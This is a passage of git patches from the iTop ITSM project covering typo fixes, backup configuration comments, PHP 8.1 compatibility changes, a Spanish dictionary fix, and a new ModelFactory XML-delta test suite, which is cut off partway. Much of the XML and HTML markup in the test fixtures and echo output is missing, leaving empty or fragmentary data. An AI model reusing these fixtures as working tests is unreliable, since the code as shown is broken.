890ce611e..b563e649a 100644 --- a/test/ItopDataTestCase.php +++ b/test/ItopDataTestCase.php @@ -120,7 +120,7 @@ class ItopDataTestCase extends ItopTestCase $oObject->DBDelete(); } catch (Exception $e) { - $this->debug("Error when removing created objects : $sClass::$iKey. Exception message: ".$e->getMessage()); + $this->debug("Error when removing created objects: $sClass::$iKey. Exception message: ".$e->getMessage()); } } } From 59b20ac1ee289bb279c9f4ce1b24a0ba861c4af2 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 27 Sep 2022 20:14:53 +0200 Subject: [PATCH 031/230] Fix typo --- .../application/UI/Base/Layout/ActivityPanel/ActivityPanel.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sources/application/UI/Base/Layout/ActivityPanel/ActivityPanel.php b/sources/application/UI/Base/Layout/ActivityPanel/ActivityPanel.php index f41609ac4..aabe1b1e7 100644 --- a/sources/application/UI/Base/Layout/ActivityPanel/ActivityPanel.php +++ b/sources/application/UI/Base/Layout/ActivityPanel/ActivityPanel.php @@ -780,7 +780,7 @@ class ActivityPanel extends UIBlock } /** - * @return bool True if the entry form shouldbe opened by default, false otherwise. Based on the user pref. or the config. param. by default. + * @return bool True if the entry form should be opened by default, false otherwise. Based on the user pref. or the config. param. by default. * @throws \CoreException * @throws \CoreUnexpectedValue * @throws \MySQLException From 14946047400f1e1166d579ae57d6e985d11fce6f Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Mon, 3 Oct 2022 14:35:04 +0200 Subject: [PATCH 032/230] :memo: Backup : move info from wiki to distrib file --- datamodels/2.x/itop-backup/backup.params.distrib | 1 + 1 file changed, 1 insertion(+) diff --git a/datamodels/2.x/itop-backup/backup.params.distrib b/datamodels/2.x/itop-backup/backup.params.distrib index a43969e12..4bfffb832 100644 --- a/datamodels/2.x/itop-backup/backup.params.distrib +++ b/datamodels/2.x/itop-backup/backup.params.distrib @@ -20,6 +20,7 @@ auth_user = admin auth_pwd = admin # Target file - path and filename (optional) +# Full path or relative to current directory # # Formatting rules: # %Y-%m-%d => 2011-01-25... see PHP documentation of strftime() From 1e1f1f78bfa7caf866fb597460f9fa027ce72659 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Mon, 3 Oct 2022 14:41:44 +0200 Subject: [PATCH 033/230] :memo: Backup : more details on check-backup parameters --- datamodels/2.x/itop-backup/backup.params.distrib | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/datamodels/2.x/itop-backup/backup.params.distrib b/datamodels/2.x/itop-backup/backup.params.distrib index 4bfffb832..8c9bfd304 100644 --- a/datamodels/2.x/itop-backup/backup.params.distrib +++ b/datamodels/2.x/itop-backup/backup.params.distrib @@ -41,8 +41,7 @@ check_size_reduction_max = 10 # percentage # If the backup has failed, a ticket will be created # This process relies on the SOAP service "CreateIncident" # -# Root URL of an instance of iTop, into which the ticket will be created : config file param 'itop_backup_incident' -# Any of the above paramaters are mandatory +itop_backup_incident = http://destination-itop.demo.com # Root URL of an instance of iTop into which the ticket will be created check_ticket_login = admin # must have the right to create an Incident Ticket check_ticket_pwd = admin check_ticket_title = Backup check failed @@ -50,4 +49,4 @@ check_ticket_customer = Demo check_ticket_service = Computers and peripherals check_ticket_service_subcategory = Repair check_ticket_workgroup = Hardware support -check_ticket_impacted_server = dbserver1.demo.com +check_ticket_impacted_server = source-itop.demo.com # identifier for the iTop instance we tried to backup From 189ca3c555940e34d08c17d873475972531d3a48 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 11 Oct 2022 14:28:44 +0200 Subject: [PATCH 034/230] :truck: Move visual test file to the dedicated directory --- test/{ => VisualTest}/attributeset_widget_poc.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename test/{ => VisualTest}/attributeset_widget_poc.html (100%) diff --git a/test/attributeset_widget_poc.html b/test/VisualTest/attributeset_widget_poc.html similarity index 100% rename from test/attributeset_widget_poc.html rename to test/VisualTest/attributeset_widget_poc.html From 5ddc006f5179d211546f392af5bb954dfe27bfdd Mon Sep 17 00:00:00 2001 From: acognet Date: Mon, 17 Oct 2022 16:22:15 +0200 Subject: [PATCH 035/230] =?UTF-8?q?N=C2=B04517=20-=20PHP=208.1=20compatibi?= =?UTF-8?q?lity?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/applicationcontext.class.inc.php | 26 ++++++++------------ 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/application/applicationcontext.class.inc.php b/application/applicationcontext.class.inc.php index 1361f92d3..45113a189 100644 --- a/application/applicationcontext.class.inc.php +++ b/application/applicationcontext.class.inc.php @@ -376,23 +376,17 @@ class ApplicationContext { $oAppContext = new ApplicationContext(); - if (is_null($sUrlMakerClass)) - { - $sUrlMakerClass = self::GetUrlMakerClass(); - } + if (is_null($sUrlMakerClass)) { + $sUrlMakerClass = self::GetUrlMakerClass(); + } $sUrl = call_user_func(array($sUrlMakerClass, 'MakeObjectUrl'), $sObjClass, $sObjKey); - if (strlen($sUrl) > 0) - { - if ($bWithNavigationContext) - { - return $sUrl."&".$oAppContext->GetForLink(); - } - else - { - return $sUrl; - } - } - else + if (utils::strlen($sUrl) > 0) { + if ($bWithNavigationContext) { + return $sUrl."&".$oAppContext->GetForLink(); + } else { + return $sUrl; + } + } else { return ''; } From 87db88254b1206b92d78c9e015570e1545beb1a8 Mon Sep 17 00:00:00 2001 From: acognet Date: Mon, 17 Oct 2022 21:34:26 +0200 Subject: [PATCH 036/230] =?UTF-8?q?N=C2=B04517=20-=20PHP=208.1=20compatibi?= =?UTF-8?q?lity=20-=20Fix=20uppercase?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/applicationcontext.class.inc.php | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/application/applicationcontext.class.inc.php b/application/applicationcontext.class.inc.php index 45113a189..da68ff8d6 100644 --- a/application/applicationcontext.class.inc.php +++ b/application/applicationcontext.class.inc.php @@ -380,16 +380,15 @@ class ApplicationContext $sUrlMakerClass = self::GetUrlMakerClass(); } $sUrl = call_user_func(array($sUrlMakerClass, 'MakeObjectUrl'), $sObjClass, $sObjKey); - if (utils::strlen($sUrl) > 0) { + if (utils::StrLen($sUrl) > 0) { if ($bWithNavigationContext) { return $sUrl."&".$oAppContext->GetForLink(); } else { return $sUrl; } - } else - { - return ''; - } + } else { + return ''; + } } /** From 4b670cfa9008feede8356c33bb03c657d244cb15 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 20 Oct 2022 16:46:37 +0200 Subject: [PATCH 037/230] =?UTF-8?q?N=C2=B05625=20Fix=20crash=20when=20open?= =?UTF-8?q?ing=20DocumentFile=20in=20ES=20language?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Regression introduced in 3.0.1 with a merge : 67fa156c The % was removed in 530ec111 but we kept the call to Dict::Format, and the merge restored the % in ES dict A larger fix will be done later with N°5491 --- application/cmdbabstract.class.inc.php | 2 +- core/cmdbchangeop.class.inc.php | 2 +- dictionaries/es_cr.dictionary.itop.ui.php | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/application/cmdbabstract.class.inc.php b/application/cmdbabstract.class.inc.php index 7adaaa934..c75e8017f 100644 --- a/application/cmdbabstract.class.inc.php +++ b/application/cmdbabstract.class.inc.php @@ -3667,7 +3667,7 @@ HTML; $sDisplayLabel = Dict::S('UI:OpenDocumentInNewWindow_'); $sDisplayUrl = $oDocument->GetDisplayURL(get_class($this), $this->GetKey(), $sAttCode); - $sDownloadLabel = Dict::Format('UI:DownloadDocument_'); + $sDownloadLabel = Dict::S('UI:DownloadDocument_'); $sDownloadUrl = $oDocument->GetDownloadURL(get_class($this), $this->GetKey(), $sAttCode); $sDisplayValue = <<GetDisplayURL(get_class($this), $this->GetKey(), 'prevdata'); - $sDownloadLabel = Dict::Format('UI:DownloadDocument_'); + $sDownloadLabel = Dict::S('UI:DownloadDocument_'); $sDownloadUrl = $oPrevDoc->GetDownloadURL(get_class($this), $this->GetKey(), 'prevdata'); $sDocView = << '%1$s versión %2$s-%3$s compilada en %4$s', 'UI:PropertiesTab' => 'Propiedades', - 'UI:OpenDocumentInNewWindow_' => 'Abra este documento en una ventana nueva: %1$s', - 'UI:DownloadDocument_' => 'Descargue este documento: %1$s', + 'UI:OpenDocumentInNewWindow_' => 'Abrir~~', + 'UI:DownloadDocument_' => 'Descargar~~', 'UI:Document:NoPreview' => 'No hay prevista disponible para este tipo de archivo', 'UI:Download-CSV' => 'Descargar %1$s', From 4e7df37931ef86b904a1e64eb33fdbf511710a27 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 25 Oct 2022 11:52:25 +0200 Subject: [PATCH 038/230] :memo: jqueryui.scss : add comment to inform it is deprecated --- css/ui-lightness/jqueryui.scss | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/css/ui-lightness/jqueryui.scss b/css/ui-lightness/jqueryui.scss index 61ac91594..7a13a1632 100644 --- a/css/ui-lightness/jqueryui.scss +++ b/css/ui-lightness/jqueryui.scss @@ -7,6 +7,16 @@ * * Other modification done : replaced the `Alpha(` by `alpha(` to avoid warnings generated by SCSSPHP */ + + +/********************************************************************************/ +/* */ +/* @deprecated 3.0.0 N°3558 now we are using /css/backoffice/vendors/_jquery* */ +/* */ +/********************************************************************************/ + + + .ui-draggable-handle { -ms-touch-action: none; touch-action: none; From 0cf8d731bb13051307a1a41a4f2493a541a85333 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 8 Nov 2022 15:59:14 +0100 Subject: [PATCH 039/230] Rename iTopDesignFormat test class --- test/setup/iTopDesignFormat/iTopDesignFormatTest.php | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/test/setup/iTopDesignFormat/iTopDesignFormatTest.php b/test/setup/iTopDesignFormat/iTopDesignFormatTest.php index 74ee553ef..2d9b83605 100644 --- a/test/setup/iTopDesignFormat/iTopDesignFormatTest.php +++ b/test/setup/iTopDesignFormat/iTopDesignFormatTest.php @@ -8,14 +8,12 @@ use iTopDesignFormat; /** - * Class iTopDesignFormatTest - * * @covers iTopDesignFormat * * @since 2.7.0 N°2586 * @package Combodo\iTop\Test\UnitTest\Setup */ -class TestForITopDesignFormatClass extends ItopTestCase +class iTopDesignFormatTest extends ItopTestCase { protected function setUp(): void { From be5a252be7a91e38b8f468e6463ba3be3cd1ac7b Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 8 Nov 2022 18:14:20 +0100 Subject: [PATCH 040/230] iTopDesignTestFormat : improve code readability --- .../iTopDesignFormat/iTopDesignFormatTest.php | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/test/setup/iTopDesignFormat/iTopDesignFormatTest.php b/test/setup/iTopDesignFormat/iTopDesignFormatTest.php index 2c372f8ee..acb878377 100644 --- a/test/setup/iTopDesignFormat/iTopDesignFormatTest.php +++ b/test/setup/iTopDesignFormat/iTopDesignFormatTest.php @@ -29,7 +29,8 @@ class iTopDesignFormatTest extends ItopTestCase * @dataProvider ConvertProvider * * @param string $sTargetVersion - * @param string $sXmlFileName Example "1.7_to_1.6". Corresponding files should exist with the ".input" and ".Expected" suffix + * @param string $sXmlFileName Corresponding files should exist in the `Convert-samples` dir with the `.expected` and `.input` suffixes + * Example "1.7_to_1.6" for `Convert-samples/1.7_to_1.6.expected.xml` and `Convert-samples/1.7_to_1.6.input.xml` * * @throws \Exception */ @@ -62,12 +63,12 @@ class iTopDesignFormatTest extends ItopTestCase public function ConvertProvider() { return [ - 'Bug_4569' => ['1.7', 'Bug_4569'], - '1.7 to 1.6' => ['1.6', '1.7_to_1.6'], - '1.6 to 1.7 2' => ['1.7', '1.6_to_1.7_2'], - '1.7 to 1.6 2' => ['1.6', '1.7_to_1.6_2'], - '1.7 to 3.0' => ['3.0', '1.7_to_3.0'], - '3.0 to 1.7' => ['1.7', '3.0_to_1.7'], + '1.6 to 1.7 2' => ['sTargetVersion' => '1.7', 'sXmlFileName' => '1.6_to_1.7_2'], + '1.7 to 1.6' => ['sTargetVersion' => '1.6', 'sXmlFileName' => '1.7_to_1.6'], + '1.7 to 1.6 2' => ['sTargetVersion' => '1.6', 'sXmlFileName' => '1.7_to_1.6_2'], + '1.7 to 3.0' => ['sTargetVersion' => '3.0', 'sXmlFileName' => '1.7_to_3.0'], + '3.0 to 1.7' => ['sTargetVersion' => '1.7', 'sXmlFileName' => '3.0_to_1.7'], + 'Bug_4569' => ['sTargetVersion' => '1.7', 'sXmlFileName' => 'Bug_4569'], ]; } From cd010afb48c7a8601ebfc04bbfc4427fc5d9ea80 Mon Sep 17 00:00:00 2001 From: Romain Quetiez Date: Tue, 8 Nov 2022 19:43:07 +0100 Subject: [PATCH 041/230] =?UTF-8?q?N=C2=B05704=20-=20Unit=20tests=20on=20X?= =?UTF-8?q?ML=20assembly=20(#329)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Add a complete test suite for XML assembly * Add a complete test suite for XML assembly * Dispatched the test of GetDelta into real unit tests * Add test for GetDelta on a rename operation * Add comments on a weird case and a case on rename * Update XML version after rebase from develop to support/2.7 * Fix phpdoc about coverage * Remove ModelFactory::GetRootDirs and ItopTestCase::RecurseRmDir+CreateTmpDir+RecurseMkDir+RecurseCopy, that were meant to be introduced in iTop 3.0 and have been copied here by mistake, when rebasing the branch from develop to 2.7.0 * Update test/ItopTestCase.php Co-authored-by: Molkobain * Update test/setup/ModelFactoryTest.php Co-authored-by: Molkobain * Update test/ItopTestCase.php Co-authored-by: Molkobain Co-authored-by: Pierre Goiffon Co-authored-by: Molkobain --- setup/modelfactory.class.inc.php | 156 ---- test/ItopTestCase.php | 36 + test/setup/ModelFactoryTest.php | 1269 ++++++++++++++++++++++++++++++ 3 files changed, 1305 insertions(+), 156 deletions(-) create mode 100644 test/setup/ModelFactoryTest.php diff --git a/setup/modelfactory.class.inc.php b/setup/modelfactory.class.inc.php index 123e5cca3..c9d92e41c 100644 --- a/setup/modelfactory.class.inc.php +++ b/setup/modelfactory.class.inc.php @@ -1658,162 +1658,6 @@ EOF return $aResult; } - public function TestAlteration() - { - $sDOMOriginal = 'undefined'; - $sDOMModified = 'undefined'; - $sDOMRebuilt = 'undefined'; - $sDeltaXML = 'undefined'; - try - { - $sHeader = ''; - $sOriginalXML = - << - - Text - - D1 - D2 - - - - first a - - - first a - blah - - -EOF; - - $this->oDOMDocument = new MFDocument(); - $this->oDOMDocument->loadXML($sOriginalXML); - - // DOM Get the original values, then modify its contents by the mean of the API - $oRoot = $this->GetNodes('//itop_design')->item(0); - //$oRoot->Dump(); - $sDOMOriginal = $oRoot->Dump(true); - - $oNode = $oRoot->GetNodes('a/b')->item(0); - $oNew = $this->oDOMDocument->CreateElement('b', 'New text'); - $oNode->parentNode->RedefineChildNode($oNew); - - $oNode = $oRoot->GetNodes('a/c')->item(0); - $oNewC = $this->oDOMDocument->CreateElement('c'); - $oNewC->setAttribute('id', '1'); - $oNode->parentNode->RedefineChildNode($oNewC); - - $oNewC->appendChild($this->oDOMDocument->CreateElement('d', 'x')); - $oNewC->appendChild($this->oDOMDocument->CreateElement('d', 'y')); - $oNewC->appendChild($this->oDOMDocument->CreateElement('d', 'z')); - $oNamedNode = $this->oDOMDocument->CreateElement('z'); - $oNamedNode->setAttribute('id', 'abc'); - $oNewC->AddChildNode($oNamedNode); - $oNewC->AddChildNode($this->oDOMDocument->CreateElement('r', 'to be replaced')); - - // Alter this "modified node", no flag should be set in its subnodes - $oNewC->Rename('blah'); - $oNewC->Rename('foo'); - $oNewC->AddChildNode($this->oDOMDocument->CreateElement('y', '(no flag)')); - $oNewC->AddChildNode($this->oDOMDocument->CreateElement('x', 'To delete programmatically')); - $oSubNode = $oNewC->GetUniqueElement('z'); - $oSubNode->Rename('abcdef'); - $oSubNode = $oNewC->GetUniqueElement('x'); - $oSubNode->Delete(); - $oNewC->RedefineChildNode($this->oDOMDocument->CreateElement('r', 'replacement')); - - $oNode = $oRoot->GetNodes("//a[@id='second a']")->item(0); - $oNode->Rename('el 2o A'); - $oNode->Rename('el secundo A'); - $oNew = $this->oDOMDocument->CreateElement('e', 'Something new here'); - $oNode->AddChildNode($oNew); - $oNewA = $this->oDOMDocument->CreateElement('a'); - $oNewA->setAttribute('id', 'new a'); - $oNode->AddChildNode($oNewA); - $oSubnode = $this->oDOMDocument->CreateElement('parent', 'el secundo A'); - $oSubnode->setAttribute('id', 'to be changed'); - $oNewA->AddChildNode($oSubnode); - $oNewA->AddChildNode($this->oDOMDocument->CreateElement('f', 'Welcome to the newcomer')); - $oNewA->AddChildNode($this->oDOMDocument->CreateElement('x', 'To delete programmatically')); - - // Alter this "new a", as it is new, no flag should be set - $oNewA->Rename('new_a'); - $oSubNode = $oNewA->GetUniqueElement('parent'); - $oSubNode->Rename('alter ego'); - $oNewA->RedefineChildNode($this->oDOMDocument->CreateElement('f', 'dummy data')); - $oSubNode = $oNewA->GetUniqueElement('x'); - $oSubNode->Delete(); - - $oNode = $oRoot->GetNodes("//a[@id='third a']")->item(0); - $oNode->Delete(); - - //$oRoot->Dump(); - $sDOMModified = $oRoot->Dump(true); - - // Compute the delta - // - $sDeltaXML = $this->GetDelta(); - //echo "
\n";
-			//echo htmlentities($sDeltaXML);
-			//echo "
\n"; - - // Reiterating - try to remake the DOM by applying the computed delta - // - $this->oDOMDocument = new MFDocument(); - $this->oDOMDocument->loadXML($sOriginalXML); - $oRoot = $this->GetNodes('//itop_design')->item(0); - //$oRoot->Dump(); - echo "

Rebuild the DOM - Delta applied...

\n"; - $oDeltaDoc = new MFDocument(); - $oDeltaDoc->loadXML($sDeltaXML); - - //$oDeltaDoc->Dump(); - //$this->oDOMDocument->Dump(); - $oDeltaRoot = $oDeltaDoc->childNodes->item(0); - $this->LoadDelta($oDeltaRoot, $this->oDOMDocument); - //$oRoot->Dump(); - $sDOMRebuilt = $oRoot->Dump(true); - } - catch (Exception $e) - { - echo "

Exception: ".$e->getMessage()."

\n"; - echo "
\n";
-			debug_print_backtrace();
-			echo "
\n"; - } - $sArrStyle = "font-size: 40;"; - echo "\n"; - echo " \n"; - echo " \n"; - echo " \n"; - echo " \n"; - echo " \n"; - echo " \n"; - echo " \n"; - echo " \n"; - echo " \n"; - echo " \n"; - echo " \n"; - echo " \n"; - echo " \n"; - echo "
\n"; - echo "

DOM - Original values

\n"; - echo "
".htmlentities($sDOMOriginal)."
\n"; - echo "
⇒ ⇒ ⇒
\n"; - echo "

DOM - Altered with various changes

\n"; - echo "
".htmlentities($sDOMModified)."
\n"; - echo "
\n"; - echo "

DOM - Rebuilt from the Delta

\n"; - echo "
".htmlentities($sDOMRebuilt)."
\n"; - echo "
\n"; - echo "

Delta (Computed by ModelFactory)

\n"; - echo "
".htmlentities($sDeltaXML)."
\n"; - echo "
⇒ ⇒ ⇒
\n"; - } // TEST ! - - /** * Extracts some nodes from the DOM * diff --git a/test/ItopTestCase.php b/test/ItopTestCase.php index 16d403cfe..18c6c6a68 100644 --- a/test/ItopTestCase.php +++ b/test/ItopTestCase.php @@ -136,4 +136,40 @@ class ItopTestCase extends TestCase return $method->invokeArgs($oObject, $aArgs); } + + + /** + * @param object $oObject + * @param string $sProperty + * + * @return mixed property + * + * @throws \ReflectionException + * @since 2.7.8 3.0.3 3.1.0 + */ + public function GetNonPublicProperty(object $oObject, string $sProperty) + { + $class = new \ReflectionClass(get_class($oObject)); + $property = $class->getProperty($sProperty); + $property->setAccessible(true); + + return $property->getValue($oObject); + } + + /** + * @param object $oObject + * @param string $sProperty + * @param $value + * + * @throws \ReflectionException + * @since 2.7.8 3.0.3 3.1.0 + */ + public function SetNonPublicProperty(object $oObject, string $sProperty, $value) + { + $class = new \ReflectionClass(get_class($oObject)); + $property = $class->getProperty($sProperty); + $property->setAccessible(true); + + $property->setValue($oObject, $value); + } } \ No newline at end of file diff --git a/test/setup/ModelFactoryTest.php b/test/setup/ModelFactoryTest.php new file mode 100644 index 000000000..9c92be468 --- /dev/null +++ b/test/setup/ModelFactoryTest.php @@ -0,0 +1,1269 @@ +preserveWhiteSpace = false; + $oInitialDocument->loadXML($sInitialXML); + + $this->SetNonPublicProperty($oFactory, 'oDOMDocument', $oInitialDocument); + $this->SetNonPublicProperty($oFactory, 'oRoot', $oInitialDocument->firstChild); + + return $oFactory; + } + + /** + * @param $sXML + * + * @return false|string + */ + protected function CanonicalizeXML($sXML) + { + // Canonicalize the expected XML (to cope with indentation) + $oExpectedDocument = new DOMDocument(); + $oExpectedDocument->preserveWhiteSpace = false; + $oExpectedDocument->loadXML($sXML); + $oExpectedDocument->formatOutput = true; + return $oExpectedDocument->saveXML($oExpectedDocument->firstChild); + } + + /** + * @param $sExpected + * @param $sActual + */ + protected function AssertEqualiTopXML($sExpected, $sActual) + { + // Note: assertEquals reports the differences in a diff which is easier to interpret (in PHPStorm) + // as compared to the report given by assertEqualXMLStructure + static::assertEquals($this->CanonicalizeXML($sExpected), $this->CanonicalizeXML($sActual)); + } + + /** + * Assertion ignoring some of the unexpected decoration brought by DOM Elements. + */ + protected function AssertEqualModels(string $sExpectedXML, ModelFactory $oFactory) + { + return $this->AssertEqualiTopXML($sExpectedXML, $oFactory->Dump(null, true)); + } + + /** + * @dataProvider providerDeltas + * @covers ModelFactory::LoadDelta + * @covers ModelFactory::ApplyChanges + */ + public function testAlterationByXMLDelta($sInitialXML, $sDeltaXML, $sExpectedXML) + { + $oFactory = $this->MakeVanillaModelFactory($sInitialXML); + $oFactoryRoot = $this->GetNonPublicProperty($oFactory, 'oDOMDocument'); + + $oDocument = new MFDocument(); + $oDocument->loadXML($sDeltaXML); + /* @var MFElement $oDeltaRoot */ + $oDeltaRoot = $oDocument->firstChild; + + if ($sExpectedXML === null) { + $this->expectException('Exception'); + } + $oFactory->LoadDelta($oDeltaRoot, $oFactoryRoot); + $oFactory->ApplyChanges(); + + $this->AssertEqualModels($sExpectedXML, $oFactory); + } + + /** + * @return array + */ + public function providerDeltas() + { + // Basic (structure) + $aDeltas['No change at all'] = [ + 'sInitialXML' => << + + +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << + + +XML, + ]; + $aDeltas['No change at all - mini delta'] = [ + 'sInitialXML' => << + + +XML, + 'sDeltaXML' => << +XML, + 'sExpectedXML' => << + + +XML, + ]; + $aDeltas['_delta="merge" implicit'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << + + +XML, + ]; + $aDeltas['_delta="merge" explicit'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << + + +XML, + ]; + $aDeltas['_delta="merge" does not handle data'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + Ghost busters!!! + +XML, + 'sExpectedXML' => << + + +XML, + ]; + $aDeltas['_delta="merge" recursively'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + + + + + + +XML, + 'sExpectedXML' => << + + + + + + +XML, + ]; + + // Define or redefine + $aDeltas['_delta="define" without id'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << + + +XML, + ]; + $aDeltas['_delta="define" with id'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << + + +XML, + ]; + $aDeltas['_delta="define" but existing node'] = [ + 'sInitialXML' => << + + +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => null, + ]; + $aDeltas['_delta="redefine" without id'] = [ + 'sInitialXML' => << + Initial BB + +XML, + 'sDeltaXML' => << + Gainsbourg + +XML, + 'sExpectedXML' => << + Gainsbourg + +XML, + ]; + $aDeltas['_delta="redefine" with id'] = [ + 'sInitialXML' => << + Initial BB + +XML, + 'sDeltaXML' => << + Gainsbourg + +XML, + 'sExpectedXML' => << + Gainsbourg + +XML, + ]; + $aDeltas['_delta="redefine" but missing node'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + Gainsbourg + +XML, + 'sExpectedXML' => null, + ]; + $aDeltas['_delta="force" without id + missing node'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + Hulk + +XML, + 'sExpectedXML' => << + Hulk + +XML, + ]; + $aDeltas['_delta="force" with id + missing node'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + Hulk + +XML, + 'sExpectedXML' => << + Hulk + +XML, + ]; + $aDeltas['_delta="force" without id + existing node'] = [ + 'sInitialXML' => << + Initial BB + +XML, + 'sDeltaXML' => << + Gainsbourg + +XML, + 'sExpectedXML' => << + Gainsbourg + +XML, + ]; + $aDeltas['_delta="force" with id + existing node'] = [ + 'sInitialXML' => << + Initial BB + +XML, + 'sDeltaXML' => << + Gainsbourg + +XML, + 'sExpectedXML' => << + Gainsbourg + +XML, + ]; + + // Rename + $aDeltas['rename'] = [ + 'sInitialXML' => << + Kryptonite + +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << + Kryptonite + +XML, + ]; + $aDeltas['rename but missing node NOT INTUITIVE!!!'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << + + +XML, + ]; + + // Delete + $aDeltas['_delta="delete" without id'] = [ + 'sInitialXML' => << + Initial BB + +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << +XML, + ]; + $aDeltas['_delta="delete" with id'] = [ + 'sInitialXML' => << + Initial BB + +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << +XML, + ]; + $aDeltas['_delta="delete" but missing node'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => null, + ]; + $aDeltas['_delta="delete_if_exists" without id + existing node'] = [ + 'sInitialXML' => << + Initial BB + +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << +XML, + ]; + $aDeltas['_delta="delete_if_exists" with id + existing node'] = [ + 'sInitialXML' => << + Initial BB + +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << +XML, + ]; + $aDeltas['_delta="delete_if_exists" without id + missing node'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << +XML, + ]; + $aDeltas['_delta="delete_if_exists" with id + missing node'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + + +XML, + 'sExpectedXML' => << +XML, + ]; + + // Conditionals + $aDeltas['_delta="must_exist"'] = [ + 'sInitialXML' => << + + +XML, + 'sDeltaXML' => << + + + + +XML, + 'sExpectedXML' => << + + + + +XML, + ]; + $aDeltas['_delta="must_exist on missing node"'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + + + + +XML, + 'sExpectedXML' => null, + ]; + $aDeltas['_delta="if_exists on missing node"'] = [ + 'sInitialXML' => << + +XML, + 'sDeltaXML' => << + + + + +XML, + 'sExpectedXML' => << + +XML, + ]; + $aDeltas['_delta="if_exists on existing node"'] = [ + 'sInitialXML' => << + + +XML, + 'sDeltaXML' => << + + + + +XML, + 'sExpectedXML' => << + + + + +XML, + ]; + $aDeltas['_delta="define_if_not_exists on missing node"'] = [ + 'sInitialXML' => << +XML, + 'sDeltaXML' => << + The incredible Hulk + +XML, + 'sExpectedXML' => << + The incredible Hulk + +XML, + ]; + $aDeltas['_delta="define_if_not_exists on existing node"'] = [ + 'sInitialXML' => << + Luke Banner + +XML, + 'sDeltaXML' => << + The incredible Hulk + +XML, + 'sExpectedXML' => << + Luke Banner + +XML, + ]; + + return $aDeltas; + } + + /** + * @dataProvider providerAlterationAPIs + * @covers \ModelFactory::GetDelta + * @covers \MFElement::AddChildNode + * @covers \MFElement::RedefineChildNode + * @covers \MFElement::SetChildNode + * @covers \MFElement::Delete + */ + public function testAlterationsByAPIs($sInitialXML, $sOperation, $sExpectedXML) + { + $oFactory = $this->MakeVanillaModelFactory($sInitialXML); + + if ($sExpectedXML === null) { + $this->expectException('Exception'); + } + switch ($sOperation) { + case 'Delete': + /* @var MFElement $oTargetNode */ + $oTargetNode = $oFactory->GetNodes('//target_tag', null, false)->item(0); + $oTargetNode->Delete(); + break; + case 'AddChildNodeToContainer': + $oContainerNode = $oFactory->GetNodes('//container_tag', null, false)->item(0); + + $oFactoryRoot = $this->GetNonPublicProperty($oFactory, 'oDOMDocument'); + $oChild = $oFactoryRoot->CreateElement('target_tag', 'Hello, I\'m a newly added node'); + + /* @var MFElement $oContainerNode */ + $oContainerNode->AddChildNode($oChild); + break; + + case 'RedefineChildNodeToContainer': + $oContainerNode = $oFactory->GetNodes('//container_tag', null, false)->item(0); + + $oFactoryRoot = $this->GetNonPublicProperty($oFactory, 'oDOMDocument'); + $oChild = $oFactoryRoot->CreateElement('target_tag', 'Hello, I\'m replacing the previous node'); + + /* @var MFElement $oContainerNode */ + $oContainerNode->RedefineChildNode($oChild); + break; + + case 'SetChildNodeToContainer': + $oContainerNode = $oFactory->GetNodes('//container_tag', null, false)->item(0); + + $oFactoryRoot = $this->GetNonPublicProperty($oFactory, 'oDOMDocument'); + $oChild = $oFactoryRoot->CreateElement('target_tag', 'Hello, I\'m replacing the previous node'); + + /* @var MFElement $oContainerNode */ + $oContainerNode->SetChildNode($oChild); + break; + + default: + static::fail("Unknown operation '$sOperation'"); + } + + if ($sExpectedXML !== null) { + $this->AssertEqualModels($sExpectedXML, $oFactory); + } + } + + /** + * @return array[] + */ + public function providerAlterationAPIs() + { + define('CASE_NO_FLAG', << + + + + 